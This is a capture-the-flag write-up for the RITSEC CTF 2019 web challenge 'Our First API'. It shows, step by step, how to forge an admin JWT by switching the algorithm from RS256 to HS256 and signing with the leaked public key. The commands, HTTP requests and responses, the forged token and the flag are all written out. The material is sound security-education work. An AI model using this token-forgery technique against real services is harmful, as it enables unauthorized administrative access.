Tags: api web jwt 

Rating:

# RITSEC CTF 2019 – Our First API

* **Category:** web
* **Points:** 417

## Challenge

> ctfchallenges.ritsec.club:3000 ctfchallenges.ritsec.club:4000
>
> Hint: You don't need the Bearer keyword!
>
> Author: sandw1ch

## Solution

Connecting to [http://ctfchallenges.ritsec.club:3000/](http://ctfchallenges.ritsec.club:3000/) will give the following message.

```
This page is only for authentication with our api, located at port 4000!
```

Connecting to [http://ctfchallenges.ritsec.club:4000/](http://ctfchallenges.ritsec.club:4000/) will give the following message.

```
API Documentation

Below are some of the api endpoints that you can use. Please use them responsibly :)!
Use the format below to make your requests to the API.

Nodes Description
/api/admin

For admin users to authenticate. Please provide us your authorization token given to you by the /auth endpoint.

/api/normal

For standard users to authenticate. Please provide us your authorization token given to you by the /auth endpoint.

/auth

Authentication endpoint on port 3000. Please send your name and this api will return your token for accessing the api!
```

At this point you have references to an exposed API. Trying to connect to [http://ctfchallenges.ritsec.club:4000/api/normal](http://ctfchallenges.ritsec.club:4000/api/normal) will result in an error.

```
Forbidden, missing JWT authorization
```

So you can request a JWT using the `/auth` API and specifying a `name`.

```
GET http://ctfchallenges.ritsec.club:3000/auth?name=m3ssap0 HTTP/1.1
Accept-Encoding: gzip,deflate
Host: ctfchallenges.ritsec.club:3000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 16 Nov 2019 09:49:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 287
Connection: keep-alive
X-Powered-By: Express
ETag: W/"11f-JMdC/jocpabmtyWtX3112GAnmeM"

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ"}
```

You can decode the token to understand its format.

```
{"typ":"JWT","alg":"RS256"}
{"name":"m3ssap0","type":"user","iat":1573897778}
gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ
```

As you can see, you have low privileges (i.e. `user`), but you can use this token to be authenticated.

```
GET http://ctfchallenges.ritsec.club:4000/api/normal HTTP/1.1
Accept-Encoding: gzip,deflate
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ
Host: ctfchallenges.ritsec.club:4000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 16 Nov 2019 09:52:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 79
Connection: keep-alive
X-Powered-By: Express
ETag: W/"4f-u9uH9/VkEWCKoW8TLnG/KetS8Ks"

{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}
```

The authentication works, but the correct endpoint to call is `/admin`.

```
GET http://ctfchallenges.ritsec.club:4000/api/admin HTTP/1.1
Accept-Encoding: gzip,deflate
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJ1c2VyIiwiaWF0IjoxNTczODk3Nzc4fQ.gZQldIgqszPZdD8eBxAsdCH6b8JJKp-Muem2sWX_8sFw8Wcqdt2GBhI6Uhu55RQx9Jv1EQykus7SRb9IIWiFHeVYuGGM5MZP2U3eTDOSscXZoMR6hVSOKHtDFsBVvvzob9-ZKjuOnziXCiOZHQPs2Bjfx-YThBhWZ8VyAMV2kUQ
Host: ctfchallenges.ritsec.club:4000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 16 Nov 2019 10:04:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 26
Connection: keep-alive
X-Powered-By: Express
ETag: W/"1a-0ieoISNU3KaboLL5dBc9VysAH3I"

{"reason":"Not an admin!"}
```

Unfortunately, you don't have enough privileges. Furthermore, trying to alter the JWT changing the `alg` to `none`, changing the `type` to `admin` and removing the signature will not work.

Analyzing the HTML source of the API documentation page, you can discover an interesting comment.

```

```

So you can discover: [http://ctfchallenges.ritsec.club:3000/robots.txt](http://ctfchallenges.ritsec.club:3000/robots.txt).

```
User-agent: * Disallow: /signing.pem Disallow: /auth
```

And you can get the signing certificate [signing.pem](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/RITSEC%20CTF%202019/Our%20First%20API/signing.pem) that can be used to craft a malicious JWT.

```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBquzMGkZlJmZm4pYppxeDmsGd
8+9mOh5S9O7W7Gu5VByfl7i3JdCfGxRJdHscg6l321PeTXsXGZ7goHd4Xjv/FtKQ
DyoaKql4Kl692KKKN/9xA6tKdOYQbZvPqyRXUVOGdyZ12qFBOQzI7ox22YL3ul/3
nyiDR+p+JKbdVU6AWQIDAQAB
-----END PUBLIC KEY-----
```

The first part of the JWT is the following.

```
{"typ":"JWT","alg":"HS256"}
{"name":"m3ssap0","type":"admin","iat":1573897778}

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0
```

The signature can be performed with following operations.

```
root@m3ss4p0:~# openssl x509 -in signing.pem -pubkey -noout > public_key.pem

root@m3ss4p0:~# cat signing.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

root@m3ss4p0:~# echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
(stdin)= 59d895e8e3aa3570f35f5894ab58349e5ed4510bbff976cb4c1315e2d41b6e81

root@m3ss4p0:~# python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('59d895e8e3aa3570f35f5894ab58349e5ed4510bbff976cb4c1315e2d41b6e81')).replace('=','')\")"
WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboE
```

So the final JWT is the following.

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0.WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboE
```

Now the right API endpoint can be called.

```
GET http://ctfchallenges.ritsec.club:4000/api/admin HTTP/1.1
Accept-Encoding: gzip,deflate
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoibTNzc2FwMCIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTU3Mzg5Nzc3OH0.WdiV6OOqNXDzX1iUq1g0nl7UUQu_-XbLTBMV4tQbboE
Host: ctfchallenges.ritsec.club:4000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 16 Nov 2019 11:01:12 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 36
Connection: keep-alive
X-Powered-By: Express
ETag: W/"24-vlpXTZ6UFXtGl+K+y0F+DaKpibw"

{"flag":"RITSEC{JWT_th1s_0ne_d0wn}"}
```

The flag is the following.
```
RITSEC{JWT_th1s_0ne_d0wn}
```

Original writeup (https://github.com/m3ssap0/CTF-Writeups/tree/master/RITSEC%20CTF%202019/Our%20First%20API).